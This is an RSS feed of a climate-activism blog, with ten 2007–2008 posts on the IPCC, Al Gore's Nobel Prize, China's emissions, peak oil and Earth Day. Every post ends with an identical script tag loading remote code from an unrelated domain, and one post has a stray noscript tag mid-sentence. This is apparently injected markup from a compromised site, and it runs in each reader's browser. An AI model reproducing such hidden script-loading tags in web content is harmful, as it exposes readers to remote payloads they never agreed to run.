<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>D.C. Watch &#187; News</title>
	<atom:link href="http://blog.getm.org/category/news/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.getm.org</link>
	<description>The Official GETM.org Blog</description>
	<lastBuildDate>Tue, 08 Dec 2009 02:11:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Happy Earth Day 2008</title>
		<link>http://blog.getm.org/2008/04/22/happy-earth-day-2008/</link>
		<comments>http://blog.getm.org/2008/04/22/happy-earth-day-2008/#comments</comments>
		<pubDate>Tue, 22 Apr 2008 14:28:47 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=117</guid>
		<description><![CDATA[This year Yahoo! has a section dedicated for all things green. One fabulous idea that has been very significant in greening our cities is the Yahoo Groups recycle, itâ€™s not just the right way to getting rid of things that you no longer need, but also a great place to find things you do. Check [...]]]></description>
			<content:encoded><![CDATA[<p><img title="recycle, reuse, reduce" src="http://l.yimg.com/a/i/us/grn/ed/recycle.gif" alt="recycle, reuse, reduce" width="60" height="56" align="left" />This year Yahoo! has a section dedicated for all things green. One fabulous idea that has been very significant in greening our cities is the Yahoo Groups recycle, itâ€™s not just the right way to getting rid of things that you no longer need, but also a great place to find things you do. <a href="http://green.yahoo.com/earth-day" target="_blank">Check it out</a>. This years resolution, use less electricity, starting with turning the idiot box off.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2008/04/22/happy-earth-day-2008/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aquaduct &#8220;Mobile Filtration Vehicle&#8221;</title>
		<link>http://blog.getm.org/2008/01/18/aquaduct-mobile-filtration-vehicle/</link>
		<comments>http://blog.getm.org/2008/01/18/aquaduct-mobile-filtration-vehicle/#comments</comments>
		<pubDate>Fri, 18 Jan 2008 04:53:56 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Engineer]]></category>
		<category><![CDATA[Engineered]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Hybrid]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Renewable]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Tips/Tools]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=116</guid>
		<description><![CDATA[Happy New Year! Here&#8217;s to a great start, Aquaduct, the &#8220;Mobile Filtration Vehicle&#8221; that helps transport as well as filter water. [gv data="http://www.youtube.com/v/-U-mvfjyiao&#38;rel=1"][/gv]]]></description>
			<content:encoded><![CDATA[<p>Happy New<noscript> </noscript>Year! Here&#8217;s to a great start, Aquaduct, the &#8220;Mobile Filtration Vehicle&#8221; that helps transport as well as filter water. [gv data="http://www.youtube.com/v/-U-mvfjyiao&amp;rel=1"][/gv]<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2008/01/18/aquaduct-mobile-filtration-vehicle/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Al Gore Wins Nobel Peace Prize</title>
		<link>http://blog.getm.org/2007/10/12/al-gore-wins-nobel-peace-prize/</link>
		<comments>http://blog.getm.org/2007/10/12/al-gore-wins-nobel-peace-prize/#comments</comments>
		<pubDate>Fri, 12 Oct 2007 20:36:47 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Al Gore]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[IPCC]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Nobel Prize]]></category>
		<category><![CDATA[politics]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=114</guid>
		<description><![CDATA[The 2007 Nobel Peace Prize goes to the Intergovernmental Panel on Climate Change (IPCC) and Albert Arnold (Al) Gore Jr. &#8220;for their efforts to build up and disseminate greater knowledge about man-made climate change, and to lay the foundations for the measures that are needed to counteract such change&#8221;. There is a debate if winning the [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" width="103" src="http://nobelprize.org/nobel_prizes/peace/laureates/2007/gore.jpg" alt="al gore" height="148" style="width: 103px; height: 148px" title="al gore" />The 2007 <a target="_blank" href="http://news.yahoo.com/s/afp/20071012/wl_afp/nobelpeace_11" title="nobel peace prize yahoo news">Nobel Peace Prize</a> goes to the Intergovernmental Panel on Climate Change (IPCC) and Albert Arnold (Al) Gore Jr. &#8220;for their efforts to build up and disseminate greater knowledge about man-made climate change, and to lay the foundations for the measures that are needed to counteract such change&#8221;.</p>
<p>There is a debate if winning the Nobel will push Gore into the <a target="_blank" href="http://www.draftgore.com/" title="draft gore org">2008 presidential race</a>. Only time can tell!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/10/12/al-gore-wins-nobel-peace-prize/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Global Warming: It&#8217;s All About Carbo</title>
		<link>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/</link>
		<comments>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/#comments</comments>
		<pubDate>Wed, 01 Aug 2007 15:17:08 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Comic]]></category>
		<category><![CDATA[Ethanol]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[NPR]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Oil]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[TV]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Tips/Tools]]></category>
		<category><![CDATA[greenhouse]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=113</guid>
		<description><![CDATA[As part of the Climate Connection initiative by NPR and National Geographic, Robert Krulwich&#8217;s created a five-part cartoon series that&#8217;s a really cool way to teach your kids the science of global warming. The videos are not embeddable, so you will have to view them on NPR. I watched all five and I think it&#8217;ll [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://media.npr.org/programs/morning/features/2007/jul/carbon/scientist400.jpg" title="climate connection" alt="climate connection" align="left" height="203" width="200" />As part of the Climate Connection initiative by NPR and National Geographic, Robert Krulwich&#8217;s created a five-part cartoon series that&#8217;s a really cool way to teach your kids the science of global warming.  The videos are not embeddable, so you will have to view them on <a href="http://www.npr.org/news/specials/climate/video/" target="_blank" rel="nofollow">NPR</a>. I watched all five and I think it&#8217;ll help more than just the kids learn a thing or two about carbon!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/08/01/global-warming-its-all-about-carbon/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>NASA is run by a Monkey</title>
		<link>http://blog.getm.org/2007/05/31/nasa-is-run-by-a-monkey/</link>
		<comments>http://blog.getm.org/2007/05/31/nasa-is-run-by-a-monkey/#comments</comments>
		<pubDate>Thu, 31 May 2007 23:56:21 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[Michael Griffin]]></category>
		<category><![CDATA[NASA]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[greenhouse]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=112</guid>
		<description><![CDATA[Excerpt from a radio interview this morning, NASA administrator Michael Griffin answering questions about global warming. I will not dwell on it much, I&#8217;ll let you be the judge. Steve: It has been mentioned that NASA is not spending as much money as it could to study climate change (global warming) from space. Are you [...]]]></description>
			<content:encoded><![CDATA[<p>Excerpt from a radio interview this morning, NASA administrator Michael Griffin answering questions about global warming. I will not dwell on it much, I&#8217;ll let you be the judge.</p>
<blockquote><p>Steve: It has been mentioned that NASA is not spending as much money as it could to study climate change (global warming) from space. Are you concerned about global warming?</p>
<p>Michael: I&#8217;m aware that global warming exists. I understand that the bulk of scientific evidence accumulated supports the claim that we&#8217;ve had about a one degree centigrade rise in temperature over the last century to within an accuracy of 20 percent. I&#8217;m also aware of recent findings that appear to have nailed down, pretty well nailed down the conclusion that much of that is manmade. Whether that is a longterm concern or not, I can&#8217;t say.</p>
<p>Steve: Do you have any doubt that this is a problem that mankind has to wrestle with?</p>
<p>Michael: I have no doubt that, a trend of global warming exists. I am not sure that it is fair to say that it is a problem we must wrestle with. To assume that it is a problem is to assume that the state of Earth&#8217;s climate today is the optimal climate, the best climate that we could have or ever have had and that we need to take steps to make sure that it doesn&#8217;t change. First of all, I don&#8217;t think it&#8217;s within the power of human beings to assure that the climate does not change, as millions of years of history have shown. And second of all, I guess I would ask which human beings &#8220;where and when&#8221; are to be accorded the privilege of deciding that this particular climate that we have right here today, right now is the best climate for all other human beings. I think that&#8217;s a rather arrogant position for people to take.</p>
<p>Steve: Is that thinking that informs you as you put together the budget? That something is happening, that it&#8217;s worth studying, but you&#8217;re not sure that you want to be battling it as an army might battle an enemy?</p>
<p>Michael: Nowhere in NASA&#8217;s authorization, which of course governs what we do, is there anything at all telling us that we should take actions to affect climate change in either one way or another. We study global climate change, that is in our authorization, we think we do it rather well. I&#8217;m proud of that, but NASA is not an agency chartered to, quote, battle climate change.</p></blockquote>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/05/31/nasa-is-run-by-a-monkey/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>China to become the World&#8217;s Biggest Polluter</title>
		<link>http://blog.getm.org/2007/05/01/china-to-become-the-worlds-biggest-polluter/</link>
		<comments>http://blog.getm.org/2007/05/01/china-to-become-the-worlds-biggest-polluter/#comments</comments>
		<pubDate>Tue, 01 May 2007 21:54:18 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Al Gore]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[China]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[IPCC]]></category>
		<category><![CDATA[Kyoto]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Nuclear]]></category>
		<category><![CDATA[Renewable]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=110</guid>
		<description><![CDATA[A report by the Intergovernmental Panel on Climate Change (IPCC) that discusses climate economics is objected by the Chinese delegation fearing repercussions that could possible derail their drive to increase manufacturing and jobs creation. The draft, suggests various solutions to mitigate climate change, such as capturing and burying emissions from coal-fired power plants, shifting to [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" width="203" src="http://newsimg.bbc.co.uk/media/images/39876000/jpg/_39876966_smokeb_ap_203.jpg" alt="china pollution smoke stacks" height="152" style="width: 203px; height: 152px" title="china pollution smoke stacks" />A report by the Intergovernmental Panel on Climate Change (IPCC) that discusses climate economics is objected by the Chinese delegation fearing repercussions that could possible derail their drive to increase manufacturing and jobs creation. The draft, suggests various solutions to mitigate climate change, such as capturing and burying emissions from coal-fired power plants, shifting to renewable forms of energy and more use of nuclear power, which for China that relies heavily on coal could mean the beginning of economic slowdown.</p>
<p>This reminds me of a scene from &#8220;<a target="_blank" href="http://www.climatecrisis.net/" title="climate crisis">The Inconvenient Truth</a>&#8221; where Gore points to a 90&#8242;s poster that has the earth on one scale of the balance and gold bullions on the other. China now gets the pick, and if any of them have at least half an ounce gray matter up there, they will chose a policy unlike that of our beloved Bush&#8217;s administration!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/05/01/china-to-become-the-worlds-biggest-polluter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Oil Depletion &#8220;Bad&#8221; for our Environment</title>
		<link>http://blog.getm.org/2007/03/31/oil-depletion-bad-for-our-environment/</link>
		<comments>http://blog.getm.org/2007/03/31/oil-depletion-bad-for-our-environment/#comments</comments>
		<pubDate>Sun, 01 Apr 2007 01:15:19 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Alternative Fuel]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Conserve]]></category>
		<category><![CDATA[Economics]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[Hybrid]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Nuclear]]></category>
		<category><![CDATA[Oil]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[greenhouse]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=108</guid>
		<description><![CDATA[Oil depletion has the capacity to worsen emissions and destroy the wealth needed to fight global warming, that is what David Strahan write in his latest book &#8220;The Last Oil Shock&#8221;. His argument below: It is mathematically impossible that peak oil will solve climate change. Although oil is the biggest single source of energy-related greenhouse gases, [...]]]></description>
			<content:encoded><![CDATA[<p>Oil depletion has the capacity to worsen emissions and destroy the wealth needed to fight global warming, that is what David Strahan write in his latest book &#8220;The Last Oil Shock&#8221;.</p>
<p>His argument below:</p>
<blockquote><p><img align="right" width="203" src="http://newsimg.bbc.co.uk/media/images/42740000/jpg/_42740065_bookcover203.jpg" alt="bookcover" height="313" style="width: 203px; height: 313px" title="bookcover" />It is mathematically impossible that peak oil will solve climate change.</p>
<p>Although oil is the biggest single source of energy-related greenhouse gases, coal and gas combined are bigger still, and the expected growth in their emissions would overwhelm any reduction from oil.</p>
<p>As I demonstrate in The Last Oil Shock using the International Energy Agency&#8217;s &#8220;business-as-usual&#8221; forecast, even if oil production peaks in 2010 and immediately starts to fall at 3% a year, total emissions would still rise by 25%, reaching 32 billion tonnes in 2030.</p>
<p>Yet by that time, we need to be well on the way to at least a 60% cut in emissions.</p>
<p>In fact peak oil could even make emissions worse if it drives us to exploit the wrong kinds of fuel.</p>
<p>Burning rainforest and peatlands to create palm oil plantations for biofuels releases vast amounts of CO2, and has already made Indonesia, according to some ways of calculating it, the world&#8217;s third biggest emitter after the US and China.</p>
<p>Synthetic transport fuels made from natural gas using the Fischer-Tropsch process emit even more carbon on a well-to-wheels basis than conventional crude; and when the feedstock is coal, the emissions double.</p>
<p>None of these alternatives are likely to fill the gap left by conventional crude &#8211; at least, not in time.</p>
<p>But because they are so much more carbon intensive, it is quite easy to conjure scenarios in which we still suffer fuel shortages while emitting even more CO2 than in the current business-as-usual forecast &#8211; the worst of all possible worlds.</p></blockquote>
<p>One common sense solution left out of his equation is the use of electricity, which is not all the time, generated using coal or Uranium. Solar, wind and tidal conversion if implemented can and should be able to generate the required capacity to power our planet. If only we are able to overcome our resistance to change and the relentless pursuit of bigger and more polluting lifestyle.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/03/31/oil-depletion-bad-for-our-environment/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>&#8220;Global Warming Is Not a Crisis.&#8221;</title>
		<link>http://blog.getm.org/2007/03/26/global-warming-is-not-a-crisis/</link>
		<comments>http://blog.getm.org/2007/03/26/global-warming-is-not-a-crisis/#comments</comments>
		<pubDate>Mon, 26 Mar 2007 18:22:02 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Cooling]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[NPR]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Sustainability]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=107</guid>
		<description><![CDATA[No, not me, I didn&#8217;t say that, but 3 well known people, 2 experts and 1,.. movie maker seem to think! This was the question at the core of a recent Oxford-style debate called Intelligence Squared U.S. Three proponents of the theory that &#8220;carbon dioxide causes global warming&#8221; faced off three opponents. The debate is [...]]]></description>
			<content:encoded><![CDATA[<p><img style="width: 200px; height: 150px" title="Global Warming" src="http://media.npr.org/news/specials/iq2/climate/global200.jpg" alt="Global Warming" width="200" height="150" align="right" />No, not me, I didn&#8217;t say that, but 3 well known people, 2 experts and 1,.. movie maker seem to think! This was the question at the core of a recent Oxford-style debate called <em>Intelligence Squared U.S</em>. Three proponents of the theory that &#8220;carbon dioxide causes global warming&#8221; faced off three opponents. The debate is worth listening to no matter which side of the aisle you are in, but you better make yourself free for the next hour and half and hopefully you are on a high-speed Internet connection. Enjoy!</p>
<p>Download <a title="npr mp3" href="http://download.npr.org/anon.npr-mp3/specials/20070321_specials_iq2radio.mp3">the MP3</a>. (Source: <a title="npr" href="http://www.npr.org/templates/story/story.php?storyId=9082151" target="_blank">NPR</a>)</p>
<p><small>To download, PC users right-click and select &#8220;save target as.&#8221; Mac users control-click and &#8220;save (or download) link as.&#8221;</small><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/03/26/global-warming-is-not-a-crisis/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
<enclosure url="http://download.npr.org/anon.npr-mp3/specials/20070321_specials_iq2radio.mp3" length="24289002" type="audio/mpeg" />
		</item>
		<item>
		<title>Scientists Agree that Global Warming &#8220;Very Likely&#8221; Man-made</title>
		<link>http://blog.getm.org/2007/02/01/scientists-agree-that-global-warming-very-likely-man-made/</link>
		<comments>http://blog.getm.org/2007/02/01/scientists-agree-that-global-warming-very-likely-man-made/#comments</comments>
		<pubDate>Thu, 01 Feb 2007 21:39:22 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Bush]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[IPCC]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[politics]]></category>
		<category><![CDATA[weather]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=106</guid>
		<description><![CDATA[The Intergovernmental Panel on Climate Change (IPCC), consisting of hundreds of scientist form around the world concluded that Global Warming is &#8220;Very Likely&#8221; due to human activities. Very Likely in IPCC terminology means greater than 90 percent probability. IPCC said the other 10 percent may or may not be due to god, which is closely [...]]]></description>
			<content:encoded><![CDATA[<p><img align="right" width="203" src="http://newsimg.bbc.co.uk/media/images/42523000/jpg/_42523993_patgoniamix203.jpg" alt="patgonia glacier" height="152" style="width: 203px; height: 152px" title="patgonia glacier" />The Intergovernmental Panel on Climate Change (IPCC), consisting of hundreds of scientist form around the world concluded that Global Warming is &#8220;Very Likely&#8221; due to human activities. Very Likely in IPCC terminology means greater than 90 percent probability. IPCC said the other 10 percent may or may not be due to god, which is closely in line with the Bush administration findings.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/02/01/scientists-agree-that-global-warming-very-likely-man-made/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>China admits to Climate Failings</title>
		<link>http://blog.getm.org/2007/01/28/china-admits-to-climate-failings/</link>
		<comments>http://blog.getm.org/2007/01/28/china-admits-to-climate-failings/#comments</comments>
		<pubDate>Sun, 28 Jan 2007 21:16:08 +0000</pubDate>
		<dc:creator>Moderator</dc:creator>
				<category><![CDATA[Activism]]></category>
		<category><![CDATA[Air Pollution]]></category>
		<category><![CDATA[Carbon]]></category>
		<category><![CDATA[China]]></category>
		<category><![CDATA[Energy]]></category>
		<category><![CDATA[Environment]]></category>
		<category><![CDATA[Global Warming]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Sustainability]]></category>

		<guid isPermaLink="false">http://blog.getm.org/?p=105</guid>
		<description><![CDATA[According to a new Chinese government report, China is failing to make progress on improving and protecting the environment. &#8220;Compared with social and economic modernization, China&#8217;s ecological modernization lags far behind,&#8221; said the research group&#8217;s director, He Chuanqi. China in a global sense is still a lot better than the US, but the current administration [...]]]></description>
			<content:encoded><![CDATA[<p><img title="china energy graph" alt="china energy graph" src="http://newsimg.bbc.co.uk/media/images/40507000/gif/_40507831_china_energy2_gra203.gif" align="right" />According to a new Chinese government report, China is failing to make progress on improving and protecting the environment. &#8220;Compared with social and economic modernization, China&#8217;s ecological modernization lags far behind,&#8221; said the research group&#8217;s director, He Chuanqi.</p>
<p>China in a global sense is still a lot better than the US, but the current administration will continue playing hardball as long as China (and India) commit to tackle global warming.</p>
<p>With that said, China&#8217;s current plans call for the opening of a new power station every week, most of them coal-fired!</p>
<p>Source: <a title="bbc" href="http://news2.thdo.bbc.co.uk/1/hi/world/asia-pacific/6306881.stm" target="_blank">BBC</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.getm.org/2007/01/28/china-admits-to-climate-failings/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
